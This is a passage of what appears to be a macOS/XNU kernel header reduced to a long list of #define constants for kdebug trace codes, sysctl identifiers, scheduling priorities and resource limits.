0x7\n#define MICROSTACKSHOT_RECORD 0x0\n#define MICROSTACKSHOT_GATHER 0x1\n#define STACKSHOT_RECORD 0x2\n#define STACKSHOT_RECORD_SHORT 0x3\n#define STACKSHOT_KERN_RECORD 0x4\n#define SYSDIAGNOSE_NOTIFY_USER 0x0\n#define SYSDIAGNOSE_FULL 0x1\n#define SYSDIAGNOSE_STACKSHOT 0x2\n#define SYSDIAGNOSE_TAILSPIN 0x3\n#define SFI_SET_WINDOW 0x0\n#define SFI_CANCEL_WINDOW 0x1\n#define SFI_SET_CLASS_OFFTIME 0x2\n#define SFI_CANCEL_CLASS_OFFTIME 0x3\n#define SFI_THREAD_DEFER 0x4\n#define SFI_OFF_TIMER 0x5\n#define SFI_ON_TIMER 0x6\n#define SFI_WAIT_CANCELED 0x7\n#define SFI_PID_SET_MANAGED 0x8\n#define SFI_PID_CLEAR_MANAGED 0x9\n#define SFI_GLOBAL_DEFER 0xa\n#define ZALLOC_ZCRAM 0x0\n#define RMON_ENABLE_CPUUSAGE_MONITOR 0x001\n#define RMON_CPUUSAGE_VIOLATED 0x002\n#define RMON_CPUUSAGE_SUSPENDED 0x003\n#define RMON_CPUUSAGE_VIOLATED_K32A 0x004\n#define RMON_CPUUSAGE_VIOLATED_K32B 0x005\n#define RMON_CPUUSAGE_RESUMED 0x006\n#define RMON_DISABLE_CPUUSAGE_MONITOR 0x00f\n#define RMON_ENABLE_CPUWAKES_MONITOR 0x011\n#define RMON_CPUWAKES_VIOLATED 0x012\n#define RMON_CPUWAKES_VIOLATED_K32A 0x014\n#define RMON_CPUWAKES_VIOLATED_K32B 0x015\n#define RMON_DISABLE_CPUWAKES_MONITOR 0x01f\n#define RMON_ENABLE_IO_MONITOR 0x021\n#define RMON_LOGWRITES_VIOLATED 0x022\n#define RMON_PHYSWRITES_VIOLATED 0x023\n#define RMON_LOGWRITES_VIOLATED_K32A 0x024\n#define RMON_LOGWRITES_VIOLATED_K32B 0x025\n#define RMON_DISABLE_IO_MONITOR 0x02f\n#define HV_X86_ENTER 0x00\n#define HV_X86_ENTER_ERROR 0x01\n#define HV_X86_TRAP_TASK 0x02\n#define HV_X86_TRAP_THREAD 0x03\n#define HV_X86_INTERRUPT_INJECT 0x04\n#define HV_X86_INTERRUPT_RECV 0x05\n#define HV_X86_INTERRUPT_SEND 0x06\n#define HV_X86_IPI_SEND 0x07\n#define HV_X86_NMI_INJECT 0x08\n#define HV_X86_NMI_SEND 0x09\n#define HV_X86_LSC_HIT 0x0a\n#define HV_X86_LSC_INSERT 0x0b\n#define HV_X86_LSC_INSERT_IMM32 0x0c\n#define HV_X86_LSC_INVALID 0x0d\n#define HV_X86_LSC_INVALIDATE 0x0e\n#define HV_X86_LSC_MISS 0x0f\n#define HV_X86_TIMER_CANCEL 0x10\n#define HV_X86_TIMER_FIRE 0x11\n#define HV_X86_TIMER_SCHEDULE 0x12\n#define HV_X86_APIC_ACCESS_EXIT 0x13\n#define HV_X86_APIC_WRITE_EXIT 0x14\n#define HV_X86_EPT_VIOLATION_EXIT 0x15\n#define HV_X86_EXC_NMI_EXIT 0x16\n#define HV_X86_HLT_EXIT 0x17\n#define HV_X86_IO_EXIT 0x18\n#define HV_X86_IRQ_EXIT 0x19\n#define HV_X86_IRQ_WND_EXIT 0x1a\n#define HV_X86_MOV_DR_EXIT 0x1b\n#define HV_X86_NMI_WND_EXIT 0x1c\n#define HV_X86_RDMSR_EXIT 0x1d\n#define HV_X86_RDPMC_EXIT 0x1e\n#define HV_X86_TPR_THRESHOLD_EXIT 0x1f\n#define HV_X86_VMX_TIMER_EXPIRED_EXIT 0x20\n#define HV_X86_WRMSR_EXIT 0x21\n#define HV_X86_VCPU_READ_APIC_TRAP 0x22\n#define HV_X86_VCPU_READ_VMCS_TRAP 0x23\n#define HV_X86_VCPU_RUN_TRAP 0x24\n#define HV_X86_VCPU_RUN_UNTIL_TRAP 0x25\n#define HV_X86_VCPU_WRITE_APIC_TRAP 0x26\n#define HV_X86_VM_ADDRSPACE_CREATE_TRAP 0x27\n#define HV_X86_VM_ADDRSPACE_DESTROY_TRAP 0x28\n#define HV_X86_VM_INTR_MSI_TRAP 0x29\n#define HV_X86_VM_MAP_TRAP 0x2a\n#define HV_X86_VM_PROTECT_TRAP 0x2b\n#define HV_X86_VM_UNMAP_TRAP 0x2c\n#define HV_X86_TSC_OFFSET_SET 0x2d\n#define VM_RECLAIM_UPDATE_ACCOUNTING 0x01\n#define VM_RECLAIM_ENTRIES 0x02\n#define VM_RECLAIM_CHUNK 0x03\n#define VM_RECLAIM_ENTRY 0x04\n#define VM_RECLAIM_ALL_MEMORY 0x05\n#define VM_RECLAIM_ASYNC_MEMORY 0x06\n#define VM_RECLAIM_INIT 0x07\n#define DBG_NETIP 1\n#define DBG_NETARP 2\n#define DBG_NETUDP 3\n#define DBG_NETTCP 4\n#define DBG_NETICMP 5\n#define DBG_NETIGMP 6\n#define DBG_NETRIP 7\n#define DBG_NETOSPF 8\n#define DBG_NETISIS 9\n#define DBG_NETSNMP 10\n#define DBG_NETSOCK 11\n#define DBG_NETAARP 100\n#define DBG_NETDDP 101\n#define DBG_NETNBP 102\n#define DBG_NETZIP 103\n#define DBG_NETADSP 104\n#define DBG_NETATP 105\n#define DBG_NETASP 106\n#define DBG_NETAFP 107\n#define DBG_NETRTMP 108\n#define DBG_NETAURP 109\n#define DBG_NETIPSEC 128\n#define DBG_NETVMNET 129\n#define DBG_IOINTC 0\n#define DBG_IOWORKLOOP 1\n#define DBG_IOINTES 2\n#define DBG_IOCLKES 3\n#define DBG_IOCMDQ 4\n#define DBG_IOMCURS 5\n#define DBG_IOMDESC 6\n#define DBG_IOPOWER 7\n#define DBG_IOSERVICE 8\n#define DBG_IOREGISTRY 9\n#define DBG_IOPORT 10\n#define DBG_IOSTORAGE 32\n#define DBG_IONETWORK 33\n#define DBG_IOKEYBOARD 34\n#define DBG_IOHID 35\n#define DBG_IOAUDIO 36\n#define DBG_IOSERIAL 37\n#define DBG_IOTTY 38\n#define DBG_IOSAM 39\n#define DBG_IOPARALLELATA 40\n#define DBG_IOPARALLELSCSI 41\n#define DBG_IOSATA 42\n#define DBG_IOSAS 43\n#define DBG_IOFIBRECHANNEL 44\n#define DBG_IOUSB 45\n#define DBG_IOBLUETOOTH 46\n#define DBG_IOFIREWIRE 47\n#define DBG_IOINFINIBAND 48\n#define DBG_IOCPUPM 49\n#define DBG_IOGRAPHICS 50\n#define DBG_HIBERNATE 51\n#define DBG_IOTHUNDERBOLT 52\n#define DBG_BOOTER 53\n#define DBG_IOAUDIO2 54\n#define DBG_IOAFK 55\n#define DBG_IOSURFACEPA 64\n#define DBG_IOMDPA 65\n#define DBG_IODARTPA 66\n#define DBG_DRVSTORAGE 1\n#define DBG_DRVNETWORK 2\n#define DBG_DRVKEYBOARD 3\n#define DBG_DRVHID 4\n#define DBG_DRVAUDIO 5\n#define DBG_DRVSERIAL 7\n#define DBG_DRVSAM 8\n#define DBG_DRVPARALLELATA 9\n#define DBG_DRVPARALLELSCSI 10\n#define DBG_DRVSATA 11\n#define DBG_DRVSAS 12\n#define DBG_DRVFIBRECHANNEL 13\n#define DBG_DRVUSB 14\n#define DBG_DRVBLUETOOTH 15\n#define DBG_DRVFIREWIRE 16\n#define DBG_DRVINFINIBAND 17\n#define DBG_DRVGRAPHICS 18\n#define DBG_DRVSD 19\n#define DBG_DRVNAND 20\n#define DBG_SSD 21\n#define DBG_DRVSPI 22\n#define DBG_DRVWLAN_802_11 23\n#define DBG_DRVSSM 24\n#define DBG_DRVSMC 25\n#define DBG_DRVMACEFIMANAGER 26\n#define DBG_DRVANE 27\n#define DBG_DRVETHERNET 28\n#define DBG_DRVMCC 29\n#define DBG_DRVACCESSORY 30\n#define DBG_SOCDIAGS 31\n#define DBG_DRVVIRTIO 32\n#define DBG_DRVCELLULAR 33\n#define DBG_DRVSPMI 34\n#define DBG_DLIL_STATIC 1\n#define DBG_DLIL_PR_MOD 2\n#define DBG_DLIL_IF_MOD 3\n#define DBG_DLIL_PR_FLT 4\n#define DBG_DLIL_IF_FLT 5\n#define DBG_FSRW 0x1\n#define DBG_DKRW 0x2\n#define DBG_FSVN 0x3\n#define DBG_FSLOOOKUP 0x4\n#define DBG_JOURNAL 0x5\n#define DBG_IOCTL 0x6\n#define DBG_BOOTCACHE 0x7\n#define DBG_HFS 0x8\n#define DBG_APFS 0x9\n#define DBG_SMB 0xA\n#define DBG_MOUNT 0xB\n#define DBG_EXFAT 0xE\n#define DBG_MSDOS 0xF\n#define DBG_ACFS 0x10\n#define DBG_THROTTLE 0x11\n#define DBG_DECMP 0x12\n#define DBG_VFS 0x13\n#define DBG_LIVEFS 0x14\n#define DBG_NFS 0x15\n#define DBG_CONTENT_PROT 0xCF\n#define DBG_HFS_UPDATE_ACCTIME 0x01\n#define DBG_HFS_UPDATE_MODTIME 0x02\n#define DBG_HFS_UPDATE_CHGTIME 0x04\n#define DBG_HFS_UPDATE_MODIFIED 0x08\n#define DBG_HFS_UPDATE_FORCE 0x10\n#define DBG_HFS_UPDATE_DATEADDED 0x20\n#define DBG_HFS_UPDATE_MINOR 0x40\n#define DBG_HFS_UPDATE_SKIPPED 0x80\n#define DBG_VFS_IO_COMPRESSION_STATS 0x1000\n#define DBG_BSD_PROC 0x01\n#define DBG_BSD_MEMSTAT 0x02\n#define DBG_BSD_KEVENT 0x03\n#define DBG_BSD_EXCP_SC 0x0C\n#define DBG_BSD_AIO 0x0D\n#define DBG_BSD_SC_EXTENDED_INFO 0x0E\n#define DBG_BSD_SC_EXTENDED_INFO2 0x0F\n#define DBG_BSD_KDEBUG_TEST 0xFF\n#define BSD_PROC_EXIT 1\n#define BSD_PROC_FRCEXIT 2\n#define BSD_PROC_EXEC 3\n#define BSD_PROC_EXITREASON_CREATE 4\n#define BSD_PROC_EXITREASON_COMMIT 5\n#define BSD_MEMSTAT_SCAN 1\n#define BSD_MEMSTAT_JETSAM 2\n#define BSD_MEMSTAT_JETSAM_HIWAT 3\n#define BSD_MEMSTAT_FREEZE 4\n#define BSD_MEMSTAT_FREEZE_SCAN 5\n#define BSD_MEMSTAT_UPDATE 6\n#define BSD_MEMSTAT_IDLE_DEMOTE 7\n#define BSD_MEMSTAT_CLEAR_ERRORS 8\n#define BSD_MEMSTAT_DIRTY_TRACK 9\n#define BSD_MEMSTAT_DIRTY_SET 10\n#define BSD_MEMSTAT_DIRTY_CLEAR 11\n#define BSD_MEMSTAT_FAST_JETSAM 15\n#define BSD_MEMSTAT_COMPACTOR_RUN 16\n#define BSD_MEMSTAT_FREEZE_DISABLE 17\n#define BSD_MEMSTAT_RELAUNCH_FLAGS 18\n#define BSD_KEVENT_KQ_PROCESS_BEGIN 1\n#define BSD_KEVENT_KQ_PROCESS_END 2\n#define BSD_KEVENT_KQWQ_PROCESS_BEGIN 3\n#define BSD_KEVENT_KQWQ_PROCESS_END 4\n#define BSD_KEVENT_KQWQ_BIND 5\n#define BSD_KEVENT_KQWQ_UNBIND 6\n#define BSD_KEVENT_KQWQ_THREQUEST 7\n#define BSD_KEVENT_KQWL_PROCESS_BEGIN 8\n#define BSD_KEVENT_KQWL_PROCESS_END 9\n#define BSD_KEVENT_KQWL_THREQUEST 10\n#define BSD_KEVENT_KQWL_THADJUST 11\n#define BSD_KEVENT_KQ_REGISTER 12\n#define BSD_KEVENT_KQWQ_REGISTER 13\n#define BSD_KEVENT_KQWL_REGISTER 14\n#define BSD_KEVENT_KNOTE_ACTIVATE 15\n#define BSD_KEVENT_KQ_PROCESS 16\n#define BSD_KEVENT_KQWQ_PROCESS 17\n#define BSD_KEVENT_KQWL_PROCESS 18\n#define BSD_KEVENT_KQWL_BIND 19\n#define BSD_KEVENT_KQWL_UNBIND 20\n#define BSD_KEVENT_KNOTE_ENABLE 21\n#define BSD_KEVENT_KNOTE_VANISHED 22\n#define DBG_TRACE_DATA 0\n#define DBG_TRACE_STRING 1\n#define DBG_TRACE_INFO 2\n#define DBG_CS_IO 0\n#define DBG_SEC_KERNEL 0\n#define DBG_SEC_SANDBOX 1\n#define DBG_MT_INSTRS_CYCLES 1\n#define DBG_MT_DEBUG 2\n#define DBG_MT_RESOURCES_PROC_EXIT 3\n#define DBG_MT_RESOURCES_THR_EXIT 4\n#define DBG_MT_INSTRS_CYCLES_ON_CPU 5\n#define DBG_MT_TMPTH 0xfe\n#define DBG_MT_TMPCPU 0xff\n#define DBG_MISC_COREBRIGHTNESS 0x01\n#define DBG_MISC_VIDEOENG 0x02\n#define DBG_EVENT 0x10\n#define DBG_MISC_INSTRUMENTS 0x11\n#define DBG_MISC_INSTRUMENTSBT 0x12\n#define DBG_MISC_RUNLOOP_DETAILS 0x13\n#define DBG_MISC_RUNLOOP_BUSY 0x14\n#define DBG_MISC_LAYOUT 0x1a\n#define DBG_BUFFER 0x20\n#define DKIO_DONE 0x01\n#define DKIO_READ 0x02\n#define DKIO_ASYNC 0x04\n#define DKIO_META 0x08\n#define DKIO_PAGING 0x10\n#define DKIO_THROTTLE 0x20\n#define DKIO_PASSIVE 0x40\n#define DKIO_NOCACHE 0x80\n#define DKIO_TIER_MASK 0xF00\n#define DKIO_TIER_SHIFT 8\n#define DKIO_TIER_UPGRADE 0x1000\n#define DBG_APP_LOGINWINDOW 0x03\n#define DBG_APP_AUDIO 0x04\n#define DBG_APP_SYSTEMUI 0x05\n#define DBG_APP_SIGNPOST 0x0A\n#define DBG_APP_TAL 0x0B\n#define DBG_APP_APPKIT 0x0C\n#define DBG_APP_UIKIT 0x0D\n#define DBG_APP_DFR 0x0E\n#define DBG_APP_LAYOUT 0x0F\n#define DBG_APP_COREDATA 0x10\n#define DBG_APP_RUNLOOP_BASIC 0x11\n#define DBG_APP_RUNLOOP_ADVANCED 0x12\n#define DBG_APP_SAMBA 0x80\n#define DBG_APP_EOSSUPPORT 0x81\n#define DBG_APP_MACEFIMANAGER 0x82\n#define DBG_APP_ENTERPRISE 0x83\n#define OPEN_THROTTLE_WINDOW 0x1\n#define PROCESS_THROTTLED 0x2\n#define IO_THROTTLE_DISABLE 0x3\n#define IO_TIER_UPL_MISMATCH 0x4\n#define IMP_ASSERTION 0x10\n#define IMP_BOOST 0x11\n#define IMP_MSG 0x12\n#define IMP_WATCHPORT 0x13\n#define IMP_TASK_SUPPRESSION 0x17\n#define IMP_TASK_APPTYPE 0x18\n#define IMP_UPDATE 0x19\n#define IMP_USYNCH_QOS_OVERRIDE 0x1A\n#define IMP_DONOR_CHANGE 0x1B\n#define IMP_MAIN_THREAD_QOS 0x1C\n#define IMP_SYNC_IPC_QOS 0x1D\n#define IMP_TASK_POLICY_DARWIN_BG 0x21\n#define IMP_TASK_POLICY_IOPOL 0x22\n#define IMP_TASK_POLICY_IO 0x23\n#define IMP_TASK_POLICY_PASSIVE_IO 0x24\n#define IMP_TASK_POLICY_DARWIN_BG_IOPOL 0x27\n#define IMP_TASK_POLICY_BOOST 0x29\n#define IMP_TASK_POLICY_ROLE 0x2A\n#define IMP_TASK_POLICY_TERMINATED 0x2C\n#define IMP_TASK_POLICY_NEW_SOCKETS_BG 0x2D\n#define IMP_TASK_POLICY_SUP_ACTIVE 0x2E\n#define IMP_TASK_POLICY_LATENCY_QOS 0x2F\n#define IMP_TASK_POLICY_THROUGH_QOS 0x30\n#define IMP_TASK_POLICY_WATCHERS_BG 0x31\n#define IMP_TASK_POLICY_SFI_MANAGED 0x34\n#define IMP_TASK_POLICY_ALL_SOCKETS_BG 0x37\n#define IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS 0x39\n#define IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS 0x3A\n#define IMP_TASK_POLICY_PIDBIND_BG 0x32\n#define IMP_TASK_POLICY_QOS_OVERRIDE 0x36\n#define IMP_TASK_POLICY_QOS_AND_RELPRIO 0x38\n#define IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE 0x3B\n#define IMP_TASK_POLICY_QOS_PROMOTE 0x3C\n#define IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE 0x3D\n#define IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE 0x3E\n#define IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE 0x3F\n#define IMP_TASK_POLICY_WI_DRIVEN 0x40\n#define IMP_HOLD 0x2\n#define IMP_DROP 0x4\n#define IMP_EXTERN 0x8\n#define IMP_BOOSTED 0x1\n#define IMP_UNBOOSTED 0x2\n#define IMP_MSG_SEND 0x1\n#define IMP_MSG_DELV 0x2\n#define IMP_UPDATE_TASK_CREATE 0x1\n#define IMP_USYNCH_ADD_OVERRIDE 0x0\n#define IMP_USYNCH_REMOVE_OVERRIDE 0x1\n#define IMP_DONOR_UPDATE_LIVE_DONOR_STATE 0x0\n#define IMP_DONOR_INIT_DONOR_STATE 0x1\n#define IMP_SYNC_IPC_QOS_APPLIED 0x0\n#define IMP_SYNC_IPC_QOS_REMOVED 0x1\n#define IMP_SYNC_IPC_QOS_OVERFLOW 0x2\n#define IMP_SYNC_IPC_QOS_UNDERFLOW 0x3\n#define TURNSTILE_HEAP_OPERATIONS 0x10\n#define TURNSTILE_PRIORITY_OPERATIONS 0x20\n#define TURNSTILE_FREELIST_OPERATIONS 0x30\n#define THREAD_ADDED_TO_TURNSTILE_WAITQ 0x1\n#define THREAD_REMOVED_FROM_TURNSTILE_WAITQ 0x2\n#define THREAD_MOVED_IN_TURNSTILE_WAITQ 0x3\n#define TURNSTILE_ADDED_TO_TURNSTILE_HEAP 0x4\n#define TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP 0x5\n#define TURNSTILE_MOVED_IN_TURNSTILE_HEAP 0x6\n#define TURNSTILE_ADDED_TO_THREAD_HEAP 0x7\n#define TURNSTILE_REMOVED_FROM_THREAD_HEAP 0x8\n#define TURNSTILE_MOVED_IN_THREAD_HEAP 0x9\n#define TURNSTILE_UPDATE_STOPPED_BY_LIMIT 0xa\n#define THREAD_NOT_WAITING_ON_TURNSTILE 0xb\n#define TURNSTILE_PRIORITY_CHANGE 0x1\n#define THREAD_USER_PROMOTION_CHANGE 0x2\n#define TURNSTILE_PREPARE 0x1\n#define TURNSTILE_COMPLETE 0x2\n#define BANK_ACCOUNT_INFO 0x10\n#define BANK_TASK_INFO 0x11\n#define ATM_SUBAID_INFO 0x10\n#define ATM_GETVALUE_INFO 0x20\n#define ATM_UNREGISTER_INFO 0x30\n#define BANK_SETTLE_CPU_TIME 0x1\n#define BANK_SECURE_ORIGINATOR_CHANGED 0x2\n#define BANK_SETTLE_ENERGY 0x3\n#define ATM_MIN_CALLED 0x1\n#define ATM_LINK_LIST_TRIM 0x2\n#define ATM_VALUE_REPLACED 0x1\n#define ATM_VALUE_ADDED 0x2\n#define ATM_VALUE_UNREGISTERED 0x1\n#define ATM_VALUE_DIFF_MAILBOX 0x2\n#define DBG_DAEMON_COREDUET 0x1\n#define DBG_DAEMON_POWERD 0x2\n#define DBG_UMALLOC_EXTERNAL 0x1\n#define DBG_UMALLOC_INTERNAL 0x2\n#define BSD 199506\n#define BSD4_3 1\n#define BSD4_4 1\n#define NeXTBSD 1995064\n#define NeXTBSD4_0 0\n#define MAXCOMLEN 16\n#define MAXINTERP 64\n#define MAXLOGNAME 255\n#define NOFILE 256\n#define NOGROUP 65535\n#define MAXHOSTNAMELEN 256\n#define MAXDOMNAMELEN 256\n#define PSWP 0\n#define PVM 4\n#define PINOD 8\n#define PRIBIO 16\n#define PVFS 20\n#define PZERO 22\n#define PSOCK 24\n#define PWAIT 32\n#define PLOCK 36\n#define PPAUSE 40\n#define PUSER 50\n#define MAXPRI 127\n#define PRIMASK 0x0ff\n#define PCATCH 0x100\n#define PTTYBLOCK 0x200\n#define PDROP 0x400\n#define PSPIN 0x800\n#define CMASK 0022\n#define CBLOCK 64\n#define MAXFRAG 8\n#define MAXSYMLINKS 32\n#define FSHIFT 11\n#define LF_NOT_BOOSTED 0\n#define LF_BOOSTED 1\n#define PSHMNAMLEN 31\n#define SHM_RDONLY 0010000\n#define SHM_RND 0020000\n#define SHMLBA 4096\n#define TIOCM_LE 00001\n#define TIOCM_DTR 00002\n#define TIOCM_RTS 00004\n#define TIOCM_ST 00010\n#define TIOCM_SR 00020\n#define TIOCM_CTS 00040\n#define TIOCM_CAR 00100\n#define TIOCM_RNG 00200\n#define TIOCM_DSR 00400\n#define TIOCPKT_DATA 0x00\n#define TIOCPKT_FLUSHREAD 0x01\n#define TIOCPKT_FLUSHWRITE 0x02\n#define TIOCPKT_STOP 0x04\n#define TIOCPKT_START 0x08\n#define TIOCPKT_NOSTOP 0x10\n#define TIOCPKT_DOSTOP 0x20\n#define TIOCPKT_IOCTL 0x40\n#define TTYDISC 0\n#define TABLDISC 3\n#define SLIPDISC 4\n#define PPPDISC 5\n#define CTL_MAXNAME 12\n#define CTLTYPE 0xf\n#define CTLTYPE_NODE 1\n#define CTLTYPE_INT 2\n#define CTLTYPE_STRING 3\n#define CTLTYPE_QUAD 4\n#define CTLTYPE_OPAQUE 5\n#define CTLFLAG_RD 0x80000000\n#define CTLFLAG_WR 0x40000000\n#define CTLFLAG_NOLOCK 0x20000000\n#define CTLFLAG_ANYBODY 0x10000000\n#define CTLFLAG_SECURE 0x08000000\n#define CTLFLAG_MASKED 0x04000000\n#define CTLFLAG_NOAUTO 0x02000000\n#define CTLFLAG_KERN 0x01000000\n#define CTLFLAG_LOCKED 0x00800000\n#define CTLFLAG_OID2 0x00400000\n#define CTLFLAG_EXPERIMENT 0x00100000\n#define OID_AUTO_START 100\n#define SYSCTL_OID_VERSION 1\n#define SYSCTL_SKMEM 1\n#define CTL_UNSPEC 0\n#define CTL_KERN 1\n#define CTL_VM 2\n#define CTL_VFS 3\n#define CTL_NET 4\n#define CTL_DEBUG 5\n#define CTL_HW 6\n#define CTL_MACHDEP 7\n#define CTL_USER 8\n#define CTL_MAXID 9\n#define KERN_OSTYPE 1\n#define KERN_OSRELEASE 2\n#define KERN_OSREV 3\n#define KERN_VERSION 4\n#define KERN_MAXVNODES 5\n#define KERN_MAXPROC 6\n#define KERN_MAXFILES 7\n#define KERN_ARGMAX 8\n#define KERN_SECURELVL 9\n#define KERN_HOSTNAME 10\n#define KERN_HOSTID 11\n#define KERN_CLOCKRATE 12\n#define KERN_VNODE 13\n#define KERN_PROC 14\n#define KERN_FILE 15\n#define KERN_PROF 16\n#define KERN_POSIX1 17\n#define KERN_NGROUPS 18\n#define KERN_JOB_CONTROL 19\n#define KERN_SAVED_IDS 20\n#define KERN_BOOTTIME 21\n#define KERN_NISDOMAINNAME 22\n#define KERN_MAXPARTITIONS 23\n#define KERN_KDEBUG 24\n#define KERN_UPDATEINTERVAL 25\n#define KERN_OSRELDATE 26\n#define KERN_NTP_PLL 27\n#define KERN_BOOTFILE 28\n#define KERN_MAXFILESPERPROC 29\n#define KERN_MAXPROCPERUID 30\n#define KERN_DUMPDEV 31\n#define KERN_IPC 32\n#define KERN_DUMMY 33\n#define KERN_PS_STRINGS 34\n#define KERN_USRSTACK32 35\n#define KERN_LOGSIGEXIT 36\n#define KERN_SYMFILE 37\n#define KERN_PROCARGS 38\n#define KERN_NETBOOT 40\n#define KERN_SYSV 42\n#define KERN_AFFINITY 43\n#define KERN_TRANSLATE 44\n#define KERN_EXEC 45\n#define KERN_AIOMAX 46\n#define KERN_AIOPROCMAX 47\n#define KERN_AIOTHREADS 48\n#define KERN_PROCARGS2 49\n#define KERN_COREFILE 50\n#define KERN_COREDUMP 51\n#define KERN_SUGID_COREDUMP 52\n#define KERN_PROCDELAYTERM 53\n#define KERN_SHREG_PRIVATIZABLE 54\n#define KERN_LOW_PRI_WINDOW 56\n#define KERN_LOW_PRI_DELAY 57\n#define KERN_POSIX 58\n#define KERN_USRSTACK64 59\n#define KERN_NX_PROTECTION 60\n#define KERN_TFP 61\n#define KERN_PROCNAME 62\n#define KERN_THALTSTACK 63\n#define KERN_SPECULATIVE_READS 64\n#define KERN_OSVERSION 65\n#define KERN_SAFEBOOT 66\n#define KERN_RAGEVNODE 68\n#define KERN_TTY 69\n#define KERN_CHECKOPENEVT 70\n#define KERN_THREADNAME 71\n#define KERN_MAXID 72\n#define KERN_RAGE_PROC 1\n#define KERN_RAGE_THREAD 2\n#define KERN_UNRAGE_PROC 3\n#define KERN_UNRAGE_THREAD 4\n#define KERN_OPENEVT_PROC 1\n#define KERN_UNOPENEVT_PROC 2\n#define KERN_TFP_POLICY 1\n#define KERN_TFP_POLICY_DENY 0\n#define KERN_TFP_POLICY_DEFAULT 2\n#define KERN_KDEFLAGS 1\n#define KERN_KDDFLAGS 2\n#define KERN_KDENABLE 3\n#define KERN_KDSETBUF 4\n#define KERN_KDGETBUF 5\n#define KERN_KDSETUP 6\n#define KERN_KDREMOVE 7\n#define KERN_KDSETREG 8\n#define KERN_KDGETREG 9\n#define KERN_KDREADTR 10\n#define KERN_KDPIDTR 11\n#define KERN_KDTHRMAP 12\n#define KERN_KDPIDEX 14\n#define KERN_KDSETRTCDEC 15\n#define KERN_KDGETENTROPY 16\n#define KERN_KDWRITETR 17\n#define KERN_KDWRITEMAP 18\n#define KERN_KDTEST 19\n#define KERN_KDREADCURTHRMAP 21\n#define KERN_KDSET_TYPEFILTER 22\n#define KERN_KDBUFWAIT 23\n#define KERN_KDCPUMAP 24\n#define KERN_KDCPUMAP_EXT 25\n#define KERN_KDSET_EDM 26\n#define KERN_KDGET_EDM 27\n#define KERN_KDWRITETR_V3 28\n#define KERN_PROC_ALL 0\n#define KERN_PROC_PID 1\n#define KERN_PROC_PGRP 2\n#define KERN_PROC_SESSION 3\n#define KERN_PROC_TTY 4\n#define KERN_PROC_UID 5\n#define KERN_PROC_RUID 6\n#define KERN_PROC_LCID 7\n#define KERN_VFSNSPACE_HANDLE_PROC 1\n#define KERN_VFSNSPACE_UNHANDLE_PROC 2\n#define KIPC_MAXSOCKBUF 1\n#define KIPC_SOCKBUF_WASTE 2\n#define KIPC_SOMAXCONN 3\n#define KIPC_MAX_LINKHDR 4\n#define KIPC_MAX_PROTOHDR 5\n#define KIPC_MAX_HDR 6\n#define KIPC_MAX_DATALEN 7\n#define KIPC_MBSTAT 8\n#define KIPC_NMBCLUSTERS 9\n#define KIPC_SOQLIMITCOMPAT 10\n#define VM_METER 1\n#define VM_LOADAVG 2\n#define VM_MACHFACTOR 4\n#define VM_SWAPUSAGE 5\n#define VM_MAXID 6\n#define LSCALE 1000\n#define HW_MACHINE 1\n#define HW_MODEL 2\n#define HW_NCPU 3\n#define HW_BYTEORDER 4\n#define HW_PHYSMEM 5\n#define HW_USERMEM 6\n#define HW_PAGESIZE 7\n#define HW_DISKNAMES 8\n#define HW_DISKSTATS 9\n#define HW_EPOCH 10\n#define HW_FLOATINGPT 11\n#define HW_MACHINE_ARCH 12\n#define HW_VECTORUNIT 13\n#define HW_BUS_FREQ 14\n#define HW_CPU_FREQ 15\n#define HW_CACHELINE 16\n#define HW_L1ICACHESIZE 17\n#define HW_L1DCACHESIZE 18\n#define HW_L2SETTINGS 19\n#define HW_L2CACHESIZE 20\n#define HW_L3SETTINGS 21\n#define HW_L3CACHESIZE 22\n#define HW_TB_FREQ 23\n#define HW_MEMSIZE 24\n#define HW_AVAILCPU 25\n#define HW_TARGET 26\n#define HW_PRODUCT 27\n#define HW_MAXID 28\n#define USER_CS_PATH 1\n#define USER_BC_BASE_MAX 2\n#define USER_BC_DIM_MAX 3\n#define USER_BC_SCALE_MAX 4\n#define USER_BC_STRING_MAX 5\n#define USER_COLL_WEIGHTS_MAX 6\n#define USER_EXPR_NEST_MAX 7\n#define USER_LINE_MAX 8\n#define USER_RE_DUP_MAX 9\n#define USER_POSIX2_VERSION 10\n#define USER_POSIX2_C_BIND 11\n#define USER_POSIX2_C_DEV 12\n#define USER_POSIX2_CHAR_TERM 13\n#define USER_POSIX2_FORT_DEV 14\n#define USER_POSIX2_FORT_RUN 15\n#define USER_POSIX2_LOCALEDEF 16\n#define USER_POSIX2_SW_DEV 17\n#define USER_POSIX2_UPE 18\n#define USER_STREAM_MAX 19\n#define USER_TZNAME_MAX 20\n#define USER_MAXID 21\n#define CTL_DEBUG_NAME 0\n#define CTL_DEBUG_VALUE 1\n#define CTL_DEBUG_MAXID 20\n#define UTF_REVERSE_ENDIAN 0x0001\n#define UTF_NO_NULL_TERM 0x0002\n#define UTF_DECOMPOSED 0x0004\n#define UTF_PRECOMPOSED 0x0008\n#define UTF_ESCAPE_ILLEGAL 0x0010\n#define UTF_SFM_CONVERSIONS 0x0020\n#define PRIO_PROCESS 0\n#define PRIO_PGRP 1\n#define PRIO_USER 2\n#define PRIO_DARWIN_THREAD 3\n#define PRIO_DARWIN_PROCESS 4\n#define PRIO_MAX 20\n#define PRIO_DARWIN_BG 0x1000\n#define PRIO_DARWIN_NONUI 0x1001\n#define RUSAGE_SELF 0\n#define RUSAGE_INFO_V0 0\n#define RUSAGE_INFO_V1 1\n#define RUSAGE_INFO_V2 2\n#define RUSAGE_INFO_V3 3\n#define RUSAGE_INFO_V4 4\n#define RUSAGE_INFO_V5 5\n#define RUSAGE_INFO_V6 6\n#define RU_PROC_RUNS_RESLIDE 0x00000001\n#define RLIMIT_CPU 0\n#define RLIMIT_FSIZE 1\n#define RLIMIT_DATA 2\n#define RLIMIT_STACK 3\n#define RLIMIT_CORE 4\n#define RLIMIT_AS 5\n#define RLIMIT_MEMLOCK 6\n#define RLIMIT_NPROC 7\n#define RLIMIT_NOFILE 8\n#define RLIM_NLIMITS 9\n#define _RLIMIT_POSIX_FLAG 0x1000\n#define RLIMIT_WAKEUPS_MONITOR 0x1\n#define RLIMIT_CPU_USAGE_MONITOR 0x2\n#define 